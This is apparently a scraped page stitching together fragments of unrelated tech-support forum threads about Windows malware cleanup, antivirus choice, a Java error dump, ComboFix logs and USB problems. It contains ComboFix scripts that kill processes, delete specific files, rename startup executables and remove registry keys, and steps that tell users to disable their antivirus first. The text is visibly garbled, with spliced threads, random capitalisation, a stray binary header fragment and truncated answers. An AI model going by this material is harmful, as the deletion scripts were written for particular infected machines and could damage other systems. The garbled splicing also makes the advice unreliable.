Explore topic-wise InterviewSolutions in .

Hello
What is the best integrated defense system can be installed in the computer ( Of course I do not mean the Patriots )Well, if you use WINDOWS then I would suggest Avast, Malwarebytes, and SuperantiSpyware.There is no best. Pick a good anti virus app (there are plenty from which to CHOOSE), supplement it with Spyware Blaster and either MalwareBytes or Super AntiSpyware (or both), and most important practices "SMART computing". If you don't use a router with a built in NAT you should ALSO use a FIREWALL - either the one provided by Windows or a 3rd party app.

Hi - you guys have helped me ENORMOUSLY with my computers. I don't have a mobile phone and know nothing about 'em - other than that apps LOOK like a lot of fun.

My Mum has just bought a Samsung Galaxy ACE with Android 2.2.

I've been browsing the Android Market from my PC and have seen some free anti-virus programs there.

Should she get some protection installed as soon as possible ?no
Quote from: Allan on July 09, 2011, 11:55:46 AM

no

if i go on to a forum which is one of those were you have to be a member to read it , can the web site TELL my email adress even THOUGH i only LOOKED at there home PAGE and i am not a member??No.

I was watching an online MOVIE and it popped up and I notice in the message there's alot of "permission denied." What was denied?

Java Plug-in 1.6.0_26
Using JRE version 1.6.0_26-b03 Java HotSpot(TM) Client VM
User home directory = C:\Users\Doug

----------------------------------------------------
c: clear CONSOLE window
f: finalize objects on finalization queue
g: garbage collect
h: display this help message
l: dump classloader list
m: print memory usage
o: trigger logging
q: HIDE console
r: reload policy configuration
s: dump system and deployment properties
t: dump thread list
v: dump thread stack
x: clear classloader cache
0-5: set trace level to
----------------------------------------------------

exception: Permission denied: file:D:/Program%20Files/Java/jre6/lib/ext/.
java.lang.SecurityException: Permission denied: file:D:/Program%20Files/Java/jre6/lib/ext/
exception: Permission denied: file:E:/Program%20Files/Java/jre6/lib/ext/.
at sun.plugin2.applet.Plugin2Manager$AppletExecutionRunnable.run(Unknown SOURCE)
at java.lang.Thread.run(Unknown Source)
Exception: java.lang.SecurityException: Permission denied: file:D:/Program%20Files/Java/jre6/lib/ext/
java.lang.SecurityException: Permission denied: file:E:/Program%20Files/Java/jre6/lib/ext/
at sun.plugin2.applet.Plugin2Manager$AppletExecutionRunnable.run(Unknown Source)
at java.lang.Thread.run(Unknown Source)
Exception: java.lang.SecurityException: Permission denied: file:E:/Program%20Files/Java/jre6/lib/ext/
exception: Permission denied: file:C:/Program%20Files%20(x86)/Java/jre6/lib/ext/.
java.lang.SecurityException: Permission denied: file:C:/Program%20Files%20(x86)/Java/jre6/lib/ext/
at sun.plugin2.applet.Plugin2Manager$AppletExecutionRunnable.run(Unknown Source)
at java.lang.Thread.run(Unknown Source)
Exception: java.lang.SecurityException: Permission denied: file:C:/Program%20Files%20(x86)/Java/jre6/lib/ext/
exception: Permission denied: file:D:/Program%20Files%20(x86)/Java/jre6/lib/ext/.
java.lang.SecurityException: Permission denied: file:D:/Program%20Files%20(x86)/Java/jre6/lib/ext/
at sun.plugin2.applet.Plugin2Manager$AppletExecutionRunnable.run(Unknown Source)
at java.lang.Thread.run(Unknown Source)
Exception: java.lang.SecurityException: Permission denied: file:D:/Program%20Files%20(x86)/Java/jre6/lib/ext/
exception: Permission denied: file:C:/Program%20Files/Java/jre6/lib/ext/.
java.lang.SecurityException: Permission denied: file:C:/Program%20Files/Java/jre6/lib/ext/
at sun.plugin2.applet.Plugin2Manager$AppletExecutionRunnable.run(Unknown Source)
exception: Permission denied: file:E:/Program%20Files%20(x86)/Java/jre6/lib/ext/.
at java.lang.Thread.run(Unknown Source)
Exception: java.lang.SecurityException: Permission denied: file:C:/Program%20Files/Java/jre6/lib/ext/
java.lang.SecurityException: Permission denied: file:E:/Program%20Files%20(x86)/Java/jre6/lib/ext/
at sun.plugin2.applet.Plugin2Manager$AppletExecutionRunnable.run(Unknown Source)
at java.lang.Thread.run(Unknown Source)
Exception: java.lang.SecurityException: Permission denied: file:E:/Program%20Files%20(x86)/Java/jre6/lib/ext/

Quote

You sort of ended your last message with an instructional sentence without the instruction. I'll wait until I read your next message.

Well, at least all that came off ok. I could try installing MS Sec. Essen. in Safte Mode.

• Close any open browsers.
• Close/disable all anti virus and anti malware programs so they do not INTERFERE with the running of ComboFix.
• Open NOTEPAD and copy/paste the text in the quotebox below into it:
  Quote

  KillAll::
  
  File::
  c:\windows\system32\906D.tmp
  c:\windows\system32\41FF.tmp
  c:\windows\system32\EFA6.tmp
  c:\windows\system32\C55B.tmp
  Folder::
  
  

• Save this as CFScript.txt, in the same location as ComboFix.exe
  
  
  
  
• Referring to the picture above, drag CFScript into ComboFix.exe
• When finished, it shall produce a log for you at C:\ComboFix.txt
  
• Please post the contents of the log in your next reply.

Hello CH Experts,

This is from my work (but out-of-scope from my job responsibility) and NEED to consult you something. Please see attached screen-shot. According to my client, when they restart their DATABASE server (Windows 2003 Server), a command prompt opens automatically. This is very strange and just happened today. And I found out also that they don't have any anti-virus installed.

I advised them to consult their local IT about it and INSTALL anti-virus program, so from there, they may have an idea what it caused.

But out of curiosity, what the h3ll is this yofee.9966.org?

[recovering disk space - OLD attachment deleted by admin]A quick search on google hong kong version turns up that it is a Chinese virus, a trojan horse that relies on FTP connections to download malware.

Translated to ENGLISH

I keep getting a trojan program that Norton only seems to stop about 50% of the time. It asks you if you want to have your PC checked for viruses.
IF you click on X , it continues and SHOWS you it is checking all your files. IF accept it it will take over your pc and shows you how to BUY an antivirus program.

I had to reload my SYSTEM to get rid of it.

IF you keep checking X sometimes you can stop it.
thanks for the helpHow did you "reload your system"?

Re-running ComboFix to remove infections:

• Close any open browsers.
• Close/disable all anti virus and anti malware programs so they do not interfere with the running of ComboFix.
• Open notepad and copy/paste the text in the quotebox below into it:
  Quote

  KillAll::
  
  File::
  
  c:\windows\DUMP78e9.tmp
  c:\windows\DUMP74e1.tmp
  
  DDS::
  Trusted Zone: bcnonline.com\www
  
  

• Save this as CFScript.txt, in the same location as ComboFix.exe
  
  
  
  
• Referring to the picture above, drag CFScript into ComboFix.exe
• When finished, it shall produce a log for you at C:\ComboFix.txt
  
• I don't need to see the log from this action.
  

• Double click Sysprot.exe to start the program.
• Click on the Log tab.
• In the Write to log box select the following items.
• Process << Selected
  
• Kernel Modules << Selected
  
• SSDT << Selected
  
• Kernel Hooks << Selected
  
• IRP Hooks << NOT Selected
  
• Ports << NOT Selected
  
• Hidden Files << Selected
  
• At the bottom of the page
• Hidden Objects Only << Selected
  
• Click on the Create Log button on the bottom right.
• After a few seconds a new window should appear.
• Select Scan Root Drive. Click on the Start button.
• When it is complete a new window will appear to indicate that the scan is finished.
• The log will be saved automatically in the same folder Sysprot.exe was extracted to. Open the text file and copy/paste the log here.

MZ? ÿÿ ? @ P º ? Í!?LÍ!This program cannot be run in DOS mode. $

Dave,

I completed the steps you instructed ComboFix did run, where do I go to OBTAIN the scan report? Do I need to or was this the last step?Quote

I completed the steps you instructed ComboFix did run, where do I go to obtain the scan report? Do I need to or was this the last step?

No panic.
MBAM has recently been ballooning various messages saying it is blocking incoming ip sites from access, so it is doing its job!
To be on the safe side l've just run Avast AV, HJTHIS, SAS, and MBAM scans and all run clean, with no errors showing.
Can't remember where, but l read that running Combofix ALSO solves some problems. Googled it and it seems a powerful program but l couldn't see why l shouldn't run it, as long as l didn't attempt to correct anything myself, without help from yourselves.
Here's the "blimmin" long log from Combo. Would someone be kind enough to have a quick glance and see if you think l have any issues that need resolving?
NB: I noticed mentions somewhere in there of AVG and IOBIT but l thought l had deleted these?
Anyway, thank you.

ComboFix 11-06-15.01 - briann 15/06/2011 17:41:19.1.1 - x86
Microsoft Windows XP Home Edition 5.1.2600.3.1252.44.1033.18.3327.2726 [GMT 2:00]
Running from: c:\documents and settings\briann\Desktop\ComboFix.exe
AV: avast! Antivirus *Disabled/Updated* {7591DB91-41F0-48A3-B128-1A293FD8233D}
AV: Microsoft Security Essentials *Disabled/Updated* {BCF43643-A118-4432-AEDE-D861FCBCFCDF}
FW: AVG Firewall *Disabled* {8decf618-9569-4340-b34a-d78d28969b66}
.
ADS - WINDOWS: deleted 24 bytes in 1 streams.
.
((((((((((((((((((((((((((((((((((((((( Other Deletions )))))))))))))))))))))))))))))))))))))))))))))))))
.
.
c:\documents and settings\briann\Application Data\briannlog.dat
c:\documents and settings\briann\Application Data\EurekaLog
c:\documents and settings\briann\Application Data\inst.exe
c:\documents and settings\briann\Application Data\OfferBox
c:\documents and settings\briann\Application Data\OfferBox\config.xml
c:\documents and settings\briann\WINDOWS
.
.
((((((((((((((((((((((((( Files Created from 2011-05-15 to 2011-06-15 )))))))))))))))))))))))))))))))
.
.
2011-06-15 06:11 . 2011-06-15 06:11--------d-----w-c:\windows\LastGood
2011-06-12 22:56 . 2011-06-12 22:56--------d-----w-c:\documents and settings\All Users\Application Data\IObit
2011-06-12 22:55 . 2011-06-12 22:57--------d-----w-c:\documents and settings\briann\Application Data\IObit
2011-06-11 22:28 . 2011-06-11 22:28--------d-----w-c:\documents and settings\briann\Application Data\SUPERAntiSpyware.com
2011-06-11 22:28 . 2011-06-11 22:28--------d-----w-c:\program files\SUPERAntiSpyware
2011-06-11 06:05 . 2011-06-11 06:05404640----a-w-c:\windows\system32\FlashPlayerCPLApp.cpl
2011-06-07 17:44 . 2011-06-07 17:44--------d-----w-c:\documents and settings\briann\Application Data\Rovio
2011-06-06 09:22 . 2011-05-10 12:03307928----a-w-c:\windows\system32\drivers\aswSP.sys
2011-06-06 09:22 . 2011-05-10 11:5919544----a-w-c:\windows\system32\drivers\aswFsBlk.sys
2011-06-06 09:22 . 2011-05-10 12:03441176----a-w-c:\windows\system32\drivers\aswSnx.sys
2011-06-06 09:22 . 2011-05-10 12:0249240----a-w-c:\windows\system32\drivers\aswTdi.sys
2011-06-06 09:22 . 2011-05-10 11:5925432----a-w-c:\windows\system32\drivers\aswRdr.sys
2011-06-06 09:22 . 2011-05-10 12:02102616----a-w-c:\windows\system32\drivers\aswmon2.sys
2011-06-06 09:22 . 2011-05-10 12:0296344----a-w-c:\windows\system32\drivers\aswmon.sys
2011-06-06 09:22 . 2011-05-10 11:5930808----a-w-c:\windows\system32\drivers\aavmker4.sys
2011-06-06 09:22 . 2011-05-10 12:1040112----a-w-c:\windows\avastSS.scr
2011-06-06 09:22 . 2011-05-10 12:10199304----a-w-c:\windows\system32\aswBoot.exe
2011-06-06 09:22 . 2011-06-06 09:22--------d-----w-c:\program files\AVAST Software
2011-06-05 21:48 . 2011-06-05 21:48--------d-----w-c:\documents and settings\briann\Application Data\A0261641-01B1-467E-9DE5-2FFFBF73C059
2011-06-02 19:02 . 2011-06-02 19:02--------d-----w-c:\documents and settings\briann\Application Data\AVG10
2011-06-02 19:00 . 2011-06-02 19:00--------d--h--w-c:\documents and settings\All Users\Application Data\Common Files
2011-06-02 18:49 . 2011-06-04 20:27--------d-----w-c:\documents and settings\All Users\Application Data\AVG10
2011-06-02 18:48 . 2011-06-04 20:27--------d-----w-c:\documents and settings\All Users\Application Data\MFAData
2011-05-29 17:25 . 2011-05-29 17:25--------d-----w-C:\DVDVideoSoft
2011-05-19 15:46 . 2011-05-19 15:46--------d-----w-c:\windows\system32\wbem\Repository
.
.
.
(((((((((((((((((((((((((((((((((((((((( Find3M Report ))))))))))))))))))))))))))))))))))))))))))))))))))))
.
2011-06-05 21:48 . 2011-05-08 21:19167968----a-w-c:\windows\system32\drivers\afcdp.sys
2011-06-05 21:48 . 2011-05-08 21:19752128----a-w-c:\windows\system32\drivers\tdrpm273.sys
2011-06-05 21:48 . 2011-01-24 18:32600928----a-w-c:\windows\system32\drivers\timntr.sys
2011-05-29 07:11 . 2010-10-06 15:0739984----a-w-c:\windows\system32\drivers\mbamswissarmy.sys
2011-05-29 07:11 . 2010-10-06 15:0722712----a-w-c:\windows\system32\drivers\mbam.sys
2011-05-08 21:19 . 2011-01-24 18:32170528----a-w-c:\windows\system32\drivers\snapman.sys
2011-03-30 18:38 . 2011-03-30 18:3828752----a-w-c:\documents and settings\All Users\Application Data\Microsoft\Microsoft Antimalware\Definition Updates\{E3544FD3-0E42-4B6D-875F-784AE3705A58}\MpKsla6a28098.sys
2011-03-30 18:32 . 2011-03-30 18:3228752----a-w-c:\documents and settings\All Users\Application Data\Microsoft\Microsoft Antimalware\Definition Updates\{E3544FD3-0E42-4B6D-875F-784AE3705A58}\MpKsl09f40d0c.sys
.
.
((((((((((((((((((((((((((((((((((((( Reg Loading Points ))))))))))))))))))))))))))))))))))))))))))))))))))
.
.
*Note* empty entries & legit default entries are not shown
REGEDIT4
.
[HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\explorer\shelliconoverlayidentifiers\00avast]
@="{472083B0-C522-11CF-8763-00608CC02F24}"
[HKEY_CLASSES_ROOT\CLSID\{472083B0-C522-11CF-8763-00608CC02F24}]
2011-05-10 12:10122512----a-w-c:\program files\AVAST Software\Avast\ashShell.dll
.
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"SunJavaUpdateSched"="c:\program files\Common Files\Java\Java Update\jusched.exe" [2010-10-29 249064]
"Malwarebytes' Anti-Malware"="c:\program files\Malwarebytes' Anti-Malware\mbamgui.exe" [2011-05-29 449584]
"avast"="c:\program files\AVAST Software\Avast\avastUI.exe" [2011-05-10 3459712]
.
[HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\policies\system]
"EnableLinkedConnections"= 1 (0x1)
.
[hkey_local_machine\software\microsoft\windows\currentversion\explorer\ShellExecuteHooks]
"{5AE067D3-9AFB-48E0-853A-EBB7F4A000DA}"= "c:\program files\SUPERAntiSpyware\SASSEH.DLL" [2008-05-13 77824]
.
[HKLM\~\startupfolder\C:^Documents and Settings^All Users^Start Menu^Programs^Startup^HP Digital Imaging Monitor.lnk]
backup=c:\windows\pss\HP Digital Imaging Monitor.lnkCommon Startup
.
[HKLM\~\startupfolder\C:^Documents and Settings^briann^Start Menu^Programs^Startup^Secunia PSI.lnk]
backup=c:\windows\pss\Secunia PSI.lnkStartup
.
[HKEY_LOCAL_MACHINE\software\microsoft\shared tools\msconfig\startupreg\Acronis Scheduler2 Service]
2011-02-01 17:53390720----a-w-c:\program files\Common Files\Acronis\Schedule2\schedhlp.exe
.
[HKEY_LOCAL_MACHINE\software\microsoft\shared tools\msconfig\startupreg\C-Media Mixer]
2002-10-15 16:001818624----a-w-c:\windows\mixer.exe
.
[HKEY_LOCAL_MACHINE\software\microsoft\shared tools\msconfig\startupreg\HP Software Update]
2007-10-14 19:1749152----a-w-c:\program files\HP\HP Software Update\hpwuSchd2.exe
.
[HKEY_LOCAL_MACHINE\software\microsoft\shared tools\msconfig\startupreg\hpqSRMon]
2008-08-20 09:54150016----a-w-c:\program files\HP\Digital Imaging\bin\HpqSRmon.exe
.
[HKEY_LOCAL_MACHINE\software\microsoft\shared tools\msconfig\startupreg\MSMSGS]
2008-04-14 12:421695232--sh--w-c:\program files\Messenger\msmsgs.exe
.
[HKEY_LOCAL_MACHINE\software\microsoft\shared tools\msconfig\startupreg\RTHDCPL]
2009-10-06 08:3418750976----a-w-c:\windows\RTHDCPL.EXE
.
[HKEY_LOCAL_MACHINE\software\microsoft\shared tools\msconfig\startupreg\SAOB Monitor]
2011-05-10 16:572536440----a-w-c:\program files\Acronis\TrueImageHome\OnlineBackupStandalone\TrueImageMonitor.exe
.
[HKEY_LOCAL_MACHINE\software\microsoft\shared tools\msconfig\startupreg\StartCCC]
2009-09-19 04:2598304----a-w-c:\program files\ATI Technologies\ATI.ACE\Core-Static\CLIStart.exe
.
[HKEY_LOCAL_MACHINE\software\microsoft\shared tools\msconfig\startupreg\SunJavaUpdateSched]
2010-10-29 12:49249064----a-w-c:\program files\Common Files\Java\Java Update\jusched.exe
.
[HKEY_LOCAL_MACHINE\software\microsoft\shared tools\msconfig\startupreg\SUPERAntiSpyware]
2011-06-10 16:262424192----a-w-c:\program files\SUPERAntiSpyware\SUPERAntiSpyware.exe
.
[HKEY_LOCAL_MACHINE\software\microsoft\shared tools\msconfig\startupreg\TrueImageMonitor.exe]
2011-05-17 20:135550792----a-w-c:\program files\Acronis\TrueImageHome\TrueImageMonitor.exe
.
[HKEY_LOCAL_MACHINE\software\microsoft\shared tools\msconfig\services]
"Secunia Update Agent"=2 (0x2)
"Secunia PSI Agent"=2 (0x2)
"Ati HotKey Poller"=2 (0x2)
"JavaQuickStarterService"=2 (0x2)
"AcrSch2Svc"=2 (0x2)
.
[HKLM\~\services\sharedaccess\parameters\firewallpolicy\standardprofile\AuthorizedApplications\List]
"%windir%\\Network Diagnostic\\xpnetdiag.exe"=
"%windir%\\system32\\sessmgr.exe"=
"c:\\Program Files\\HP\\Digital Imaging\\bin\\hpqtra08.exe"=
"c:\\Program Files\\HP\\Digital Imaging\\bin\\hpqste08.exe"=
"c:\\Program Files\\HP\\Digital Imaging\\bin\\hposid01.exe"=
"c:\\Program Files\\HP\\Digital Imaging\\bin\\hpiscnapp.exe"=
"c:\\Program Files\\HP\\Digital Imaging\\bin\\hpqkygrp.exe"=
"c:\\Program Files\\Spotify\\spotify.exe"=
"c:\\Program Files\\Java\\jre6\\bin\\javaw.exe"=
"c:\\Program Files\\DC++\\DCPlusPlus.exe"=
"c:\\Program Files\\HP\\Digital Imaging\\bin\\hpqpse.exe"=
"c:\\Program Files\\Common Files\\HP\\Digital Imaging\\bin\\hpqPhotoCrm.exe"=
"c:\\Program Files\\HP\\Digital Imaging\\bin\\hpqsudi.exe"=
"c:\\Program Files\\HP\\Digital Imaging\\bin\\hpqpsapp.exe"=
"c:\\Program Files\\TeamViewer\\Version6\\TeamViewer.exe"=
"c:\\Program Files\\TeamViewer\\Version6\\TeamViewer_Service.exe"=
.
R0 tdrpman273;Acronis Try&DECIDE and Restore Points filter (build 273);c:\windows\system32\drivers\tdrpm273.sys [08/05/2011 23:19 752128]
R1 aswSnx;aswSnx;c:\windows\system32\drivers\aswSnx.sys [06/06/2011 11:22 441176]
R1 aswSP;aswSP;c:\windows\system32\drivers\aswSP.sys [06/06/2011 11:22 307928]
R1 SASDIFSV;SASDIFSV;c:\program files\SUPERAntiSpyware\sasdifsv.sys [17/02/2010 20:25 12872]
R1 SASKUTIL;SASKUTIL;c:\program files\SUPERAntiSpyware\SASKUTIL.SYS [10/05/2010 20:41 67656]
R2 afcdpsrv;Acronis Nonstop Backup Service;c:\program files\Common Files\Acronis\CDP\afcdpsrv.exe [08/05/2011 23:19 3246040]
R2 aswFsBlk;aswFsBlk;c:\windows\system32\drivers\aswFsBlk.sys [06/06/2011 11:22 19544]
R2 MBAMService;MBAMService;c:\program files\Malwarebytes' Anti-Malware\mbamservice.exe [06/10/2010 17:07 366640]
R3 afcdp;afcdp;c:\windows\system32\drivers\afcdp.sys [08/05/2011 23:19 167968]
R3 MBAMProtector;MBAMProtector;c:\windows\system32\drivers\mbam.sys [06/10/2010 17:07 22712]
S1 MpKsl27aa9cbe;MpKsl27aa9cbe;\??\c:\documents and settings\All Users\Application Data\Microsoft\Microsoft Antimalware\Definition Updates\{5CBE358E-FB9E-42B0-91C3-0ED11A46499B}\MpKsl27aa9cbe.sys --> c:\documents and settings\All Users\Application Data\Microsoft\Microsoft Antimalware\Definition Updates\{5CBE358E-FB9E-42B0-91C3-0ED11A46499B}\MpKsl27aa9cbe.sys [?]
S1 MpKsl4965f692;MpKsl4965f692;\??\c:\documents and settings\All Users\Application Data\Microsoft\Microsoft Antimalware\Definition Updates\{B94C2A1F-2A70-45B2-8BDB-24A63750906F}\MpKsl4965f692.sys --> c:\documents and settings\All Users\Application Data\Microsoft\Microsoft Antimalware\Definition Updates\{B94C2A1F-2A70-45B2-8BDB-24A63750906F}\MpKsl4965f692.sys [?]
S1 MpKsl82abaab5;MpKsl82abaab5;\??\c:\documents and settings\All Users\Application Data\Microsoft\Microsoft Antimalware\Definition Updates\{F553CFB7-36B1-404E-8DC1-3F6E5D6A268A}\MpKsl82abaab5.sys --> c:\documents and settings\All Users\Application Data\Microsoft\Microsoft Antimalware\Definition Updates\{F553CFB7-36B1-404E-8DC1-3F6E5D6A268A}\MpKsl82abaab5.sys [?]
S1 MpKsla6a28098;MpKsla6a28098;c:\documents and settings\All Users\Application Data\Microsoft\Microsoft Antimalware\Definition Updates\{E3544FD3-0E42-4B6D-875F-784AE3705A58}\MpKsla6a28098.sys [30/03/2011 20:38 28752]
S2 KMService;KMService;c:\windows\system32\srvany.exe [21/11/2010 02:33 8192]
S3 Ambfilt;Ambfilt;c:\windows\system32\drivers\Ambfilt.sys [06/10/2010 16:44 1684736]
S3 appliandMP;appliandMP;

• Close any open browsers.
• Close/disable all anti virus and anti malware programs so they do not interfere with the running of ComboFix.
• Open notepad and copy/paste the text in the quotebox below into it:
  Quote

  KillAll::
  
  DDS::
  Trusted Zone: dailymail.co.uk\www
  Trusted Zone: telegraph.co.uk\puzzles
  
  

• Save this as CFScript.txt, in the same location as ComboFix.exe
  
  
  
  
• Referring to the picture above, drag CFScript into ComboFix.exe
• When finished, it shall produce a log for you at C:\ComboFix.txt
  
• I don't need to see the log from this action.
  

• Make sure a checkmark is placed next to Update Malwarebytes' Anti-Malware and Launch Malwarebytes Anti-Malware, then click Finish.
  
• If an update is found, it will download and install the latest version.
• Once the program has loaded, select "Perform Full Scan", then click Scan.
  
• The scan may take some time to finish,so please be patient.
• When the scan is complete, click OK, then Show Results to view the results.
• Make sure that everything is checked, and click Remove Selected.
  
• When disinfection is completed, a log will open in Notepad and you may be prompted to Restart. (See Extra Note)
• Please save the log to a location you will remember.
• The log is automatically saved by MBAM and can be viewed by clicking the Logs tab in MBAM.
• Copy and paste the entire report in your next reply.

• Double click Sysprot.exe to start the program.
• Click on the Log tab.
• In the Write to log box select the following items.
• Process << Selected
  
• Kernel Modules << Selected
  
• SSDT << Selected
  
• Kernel Hooks << Selected
  
• IRP Hooks << NOT Selected
  
• Ports << NOT Selected
  
• Hidden Files << Selected
  
• At the bottom of the page
• Hidden Objects Only << Selected
  
• Click on the Create Log button on the bottom right.
• After a few seconds a new window should appear.
• Select Scan Root Drive. Click on the Start button.
• When it is complete a new window will appear to indicate that the scan is finished.
• The log will be saved automatically in the same folder Sysprot.exe was extracted to. Open the text file and copy/paste the log here.

• Click on to download the ESET Smart Installer. Save it to your desktop.
  
• Double click on the icon on your desktop.
  

• Click the Start button. Click Run. For Vista: type in Run in the Start search, and click on Run in the results pane.
  
• In the field, type in ComboFix /uninstall
  

• Then, press Enter, or click OK.
  
• This will uninstall ComboFix, delete its folders and files, hides System files and folders, and resets System Restore.
  

Now that you're able to boot in Normal Mode, why don't we run some scans and see if we can find out what's happening?
Once I see the logs I can give you some advice on how to protect your computer.

Please do this: Hold CTRL, ALT and Delete all at once to bring up the taskmanager. In the Process tab click twice on the Memory Usage. That will list the highest to the lowest processes. Do a screen print and post it in your next reply
How to post screenshots or images

SUPERAntiSpyware

If you ALREADY have SUPERAntiSpyware be sure to check for updates before SCANNING!

Download SuperAntispyware Free Edition (SAS)
* Double-click the icon on your desktop to run the installer.
* When asked to Update the program definitions, click Yes
* If you encounter any problems while downloading the updates, manually download and unzip them from here
* Next click the Preferences button.

•Under Start-Up Options uncheck Start SUPERAntiSpyware when Windows starts
* Click the Scanning Control tab.
* Under Scanner Options make sure only the following are checked:

•Close browsers before scanning
•Scan for tracking cookies
•Terminate memory threats before quarantining
•Please LEAVE the others unchecked

•Click the Close button to leave the control center screen.

* On the main screen click Scan your computer
* On the left check the box for the drive you are scanning.
* On the right choose Perform Complete Scan
* Click Next to start the scan. Please be patient while it scans your computer.
* After the scan is complete a summary box will appear. Click OK
* Make sure everything in the white box has a check next to it, then click Next
* It will quarantine what it found and if it asks if you want to reboot, click Yes

•To retrieve the removal information please do the following:
•After reboot, double-click the SUPERAntiSpyware icon on your desktop.
•Click Preferences. Click the Statistics/Logs tab.

•Under Scanner Logs, double-click SUPERAntiSpyware Scan Log.

•It will open in your default text editor (preferably Notepad).
•SAVE the notepad file to your desktop by clicking (in notepad) File > Save As...

* Save the log somewhere you can easily find it. (normally the desktop)
* Click close and close again to exit the program.
*Copy and Paste the log in your post.
*********************************************
Download DDS from HERE or HERE and save it to your desktop.

Vista users right click on dds and select Run as administrator (you will receive a UAC prompt, please allow it)

* XP users Double click on dds to run it.
* If your antivirus or firewall try to block DDS then please allow it to run.
* When finished DDS will open two (2) logs.

1) DDS.txt
2) Attach.txt

* Save both logs to your desktop.
* Please copy and paste the entire contents of both logs in your next reply.

Note: DDS will instruct you to post the Attach.txt log as an attachment.
Please just post it as you would any other log by COPYING and pasting it into the reply.
thanks Dave i'll be back at my desktop computer tomorrow, so i'll follow your instructions and post results, thanks

Hi guys running a windows VISTA laptop and the SOUND will not work on any flash videos. Baically i have updated all sound drivers, checked flash SETTINGS uninstalled flash, re installed but to no avail. Normal videos play OK just online videos dont, PLEASE help

BACKGROUND - We had a home computer which picked up a bug of some sort, got it fixed through Hijack This but... subsequently found Trojan on a memory stick that had been used on that PC and laptops, this was also sorted.

ISSUES - I used the home PC (XP) and laptop (Vista) for managing my photos, after a short spell I could no longer read from my Pentax DSLR onto the laptop, stopped using the home PC and eventually got rid of it.

The Pentax broke, I bought a Canon - after a short while I could no longer read directly from the camera onto the laptop. The Canon was never attached to the home PC (now gone).

I have a new memory stick; I can read from it but everytime I plug it in to the laptop I get a message saying I should SCAN and fix errors, NONE are ever found.

I bought a Seagate external HARD drive and transfered all the useful stuff off my Vista laptop onto it, then attached it to my new 7 laptop - after a few days my laptop could no longer find the Seagate.

Have I been unlucky or is something odd whistling up my USBs every time I plug them in?

Thanks in advance for any advice.

I have an Seagate external hard drive for 3 YEAR's and have no problem's, but it's alway's off until i need or update file's to it.The message you get about scanning and fixing errors is normal - ignore it. As for the external drive, try it on another computer to make sure it's still good. If it is, open disk management on the computer in question and tell us if you see the drive there.

Ok. I will lock this thread. If you need it re-opened, please send me a pm.This is a pm from the OP.

I needed to uninstall avg free in order to use combofix uninstall. Combofix eventually uninstalled..

..I needed to reinstall avg and it wouldn't work (so I haven't completed your final instructions) I experienced a situation like we discussed earlier; downloads would stop downloading and not complete. I started avg and got about 7% before the download stopped. Like a download stops because it needs to add more to the buffer but there is nothing GETTING it started again. So it took about 15 times to RESTART the avg download before it finally completed.

Restarted (didnot run scan but updated av).

So I continued with final instructions and download TFC. Wouldnt work. A TFC pop up INSTANTLY occurs and asks yes to download. It doesn't go to a home page for me to select. The next instant popup SAYS; "TFC cannot be run from a temp folder. Plz d/l to your desk top or......."

Stay in this thread or start a new one in Windows issues.
If TFC won't work, please try diskcleanup. You can find it under All Programs, Accessories, System Tools, diskcleanup.
The other problem with downloads won't complete; I don't feel that this is not a problem caused by MALWARE. It probably has something to do with settings or with your Firewall.
Quote

Stay in this thread or start a new one in Windows issues.

I currently am running Norton 360 premier for virus protection. I am ALSO running stopzilla for spyware protection and recently had a worm sending out emails from my contacts. I also now am running Malbytes for maleware protection and am thinking of buying their anti-malware pro.

In your guidelines section you state "You should only have one antivirus and one firewall active at any TIME. If you have two of either installed then only ONE should be running. Either uninstall one now before continuing or ADJUST the settings to where the real-time protection is not running. Having two running at the same time will just cause problems."

Are virus/spyware and malware programs different? and should I use all THREE or just one?

I have hp s3720f pc with windows vista. I will PROBABLY upgrade to windows 7 in a few months.


Quote

Are virus/spyware and malware programs different? and should I use all three or just one?

latest free VERSION of avira,does it has antispyware like AVG and avast or not.You can CHECK it out here. but MSE here has. Microsoft Security Essentials provides real-time protection for your HOME or small business PC that guards against viruses, spyware, and other malicious software.

Re-running ComboFix to remove infections:

• Close any open browsers.
• Close/disable all anti virus and anti malware programs so they do not interfere with the running of ComboFix.
• Open notepad and copy/paste the text in the quotebox below into it:
  Quote

  KillAll::
  DDS::
  Trusted Zone: microsoft.com\update
  Trusted Zone: sympatico.ca\www
  Trusted Zone: windowsupdate.com\download
  
  RenV::
  c:\program files\Adobe\Reader 10.0\Reader\Reader_sl .exe
  c:\program files\Common Files\Adobe\ARM\1.0\AdobeARM .exe
  c:\program files\Common Files\Apple\Mobile Device Support\bin\AppleSyncNotifier .exe
  c:\program files\Common Files\InstallShield\UpdateService\issch .exe
  c:\program files\Common Files\Java\Java Update\jusched .exe
  c:\program files\D-Link\RangeBooster G WUA-2340\AirPlusCFG .exe
  c:\program files\Hewlett-Packard\HP Boot Optimizer\HPBootOp .exe
  c:\program files\HP\Digital Imaging\{33D6CC28-9F75-4d1b-A11D-98895B3A3729}\hphupd08 .exe
  c:\program files\HP\HP Software Update\HPWuSchd2 .exe
  c:\program files\HP DigitalMedia Archive\DMAScheduler .exe
  c:\program files\IObit\Advanced SystemCare 3\AWC .exe
  c:\program files\IObit\Advanced SystemCare 4\ASCTray .exe
  c:\program files\IObit\IObit Security 360\IS360tray .exe
  c:\program files\iTunes\iTunesHelper .exe
  c:\program files\Pando Networks\Media Booster\PMB .exe
  c:\program files\QuickTime\qttask .exe
  c:\windows\ehome\ehtray .exe
  c:\windows\SMINST\RECGUARD .exe
  
  Registry::
  [-HKEY_LOCAL_MACHINE\software\microsoft\shared tools\msconfig\startupreg\Tpara]
  c:\windows\dmqusv2.dll
  
  

• Save this as CFScript.txt, in the same location as ComboFix.exe
  
  
  
  
• Referring to the picture above, drag CFScript into ComboFix.exe
• When finished, it shall produce a log for you at C:\ComboFix.txt
  
• Please post the contents of the log in your next reply.

Is there a way to stop the firewalls from starting. When Online Armor is disabled, Windows Firewall starts up and I have to jump to the Control panel to stop that.

• Double click Sysprot.exe to start the program.
• Click on the Log tab.
• In the Write to log box select the following items.
• Process << Selected
  
• Kernel Modules << Selected
  
• SSDT << Selected
  
• Kernel Hooks << Selected
  
• IRP Hooks << NOT Selected
  
• Ports << NOT Selected
  
• Hidden Files << Selected
  
• At the bottom of the page
• Hidden Objects Only << Selected
  
• Click on the Create Log button on the bottom right.
• After a few seconds a new window should appear.
• Select Scan Root Drive. Click on the Start button.
